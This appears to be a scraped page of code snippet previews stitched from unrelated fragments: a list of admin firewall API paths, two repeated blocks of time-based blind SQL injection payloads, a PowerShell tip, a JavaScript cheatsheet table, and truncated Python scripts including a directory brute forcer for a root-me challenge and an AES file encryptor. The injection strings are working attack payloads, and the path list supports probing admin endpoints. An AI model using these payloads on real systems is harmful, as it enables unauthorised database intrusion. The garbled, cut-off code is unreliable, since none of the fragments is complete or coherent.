Use case: Fetch a single page and inspect its HTML.
import requests
# Send a GET request to a page
/api/admin/certificates | |
/api/admin/firewall | |
/api/admin/firewall/rules/1 | |
/api/admin/firewall/rules/10 | |
/api/admin/firewall/rules/2 | |
/api/admin/firewall/rules/3 | |
/api/admin/firewall/rules/4 | |
/api/admin/firewall/rules/5 | |
/api/admin/firewall/rules/6 | |
/api/admin/firewall/rules/7 |
0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z%00 | |
0'XOR(if(now()=sysdate(),sleep(5*1),0))XOR'Z%00 | |
if(now()=sysdate(),sleep(5),0)%00 | |
'XOR(if(now()=sysdate(),sleep(5),0))XOR'%00 | |
'XOR(if(now()=sysdate(),sleep(5*1),0))OR'%00 | |
0'|(IF((now())LIKE(sysdate()),SLEEP(5),0))|'Z%00 | |
0'or(now()=sysdate()&&SLEEP(1))or'Z%00 | |
if(now()=sysdate(),sleep(5),0)/"XOR(if(now()=sysdate(),sleep(5),0))OR"/%00 | |
if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/%00 | |
if(now()=sysdate(),sleep(5),0)/'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0) and 5=5)"/%00 |
0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z%00 | |
0'XOR(if(now()=sysdate(),sleep(5*1),0))XOR'Z%00 | |
if(now()=sysdate(),sleep(5),0)%00 | |
'XOR(if(now()=sysdate(),sleep(5),0))XOR'%00 | |
'XOR(if(now()=sysdate(),sleep(5*1),0))OR'%00 | |
0'|(IF((now())LIKE(sysdate()),SLEEP(5),0))|'Z%00 | |
0'or(now()=sysdate()&&SLEEP(1))or'Z%00 | |
if(now()=sysdate(),sleep(5),0)/"XOR(if(now()=sysdate(),sleep(5),0))OR"/%00 | |
if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/%00 | |
if(now()=sysdate(),sleep(5),0)/'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0) and 5=5)"/%00 |
Get-Command
print out all the installed cmdlet. It has pattern match. Get-Command Verb-* *-NounJust migrated it from Codepen.io to markdown. Credit goes to David Conner.
Working with DOM | Working with JS | Working With Functions |
---|---|---|
Accessing Dom Elements | Add/Remove Array Item | Add Default Arguments to Function |
Grab Children/Parent Node(s) | Add/Remove Object Properties | Throttle/Debounce Functions |
Create DOM Elements | Conditionals |
#!/usr/bin/python3 | |
import requests | |
import re | |
from bs4 import BeautifulSoup | |
url= "http://challenge01.root-me.org/web-serveur/ch4/" | |
#This is a extremly simple directory brute forcer. |
#!/usr/bin/python3 | |
import re | |
def findStuff(): | |
file = open('js.js', 'r') #we open a local file | |
Text = file.read() #Give the content of the file to the variable Text | |
#Create a RegEx to look for ip addresses. The findall will look for any string that meets the given pattent in the Text |
#!/usr/bin/python | |
# Python rogram to find the SHA-1 message digest of a file | |
# importing the hashlib module | |
import hashlib | |
def hash_file(filename): | |
""""This function returns the SHA-1 hash | |
of the file passed into it""" |
#!/usr/bin/python3 | |
# This is a simple script to encrypt and decrypt files using AES encryption alogorithm # | |
from Crypto.Hash import SHA256 | |
from Crypto.Cipher import AES | |
from Crypto import Random | |
import sys | |
import argparse | |
import os |